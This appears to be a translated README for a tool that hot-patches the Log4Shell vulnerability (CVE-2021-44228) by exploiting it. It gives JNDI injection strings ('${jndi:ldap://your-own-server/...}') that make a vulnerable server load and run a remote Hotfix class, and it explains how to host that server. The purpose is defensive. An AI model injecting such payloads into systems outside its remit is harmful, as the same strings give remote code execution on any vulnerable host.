cve-2021-44228-qingteng-online-patch

これは何か

脆弱性そのものを利用してCVE-2021-44228をホットパッチします。

使用方法

CVE-2021-44228に対して脆弱である可能性のある場所に、以下のコードを注入してください。

${jndi:ldap://your-own-server/patch}

パッチ適用中のMITM攻撃を防ぐには、以下のペイロードが推奨されます。ただし、古いバージョンのJavaとの互換性は低くなります。

${jndi:ldap://your-own-server/any_string_except_patch}

自分でサーバーを立てる

1. 最新のリリースをダウンロードしてください

2. Hotfix.classを自分のサーバーでホストしたい場合は、システム環境変数LOG4J_HOTFIX_HTTP_PATHとLOG4J_HOTFIX_HTTPS_PATHを指定してください

ビルド

Hotfix.javaは、最大限の互換性を得るためにJDK6でコンパイルする必要があることに注意してください。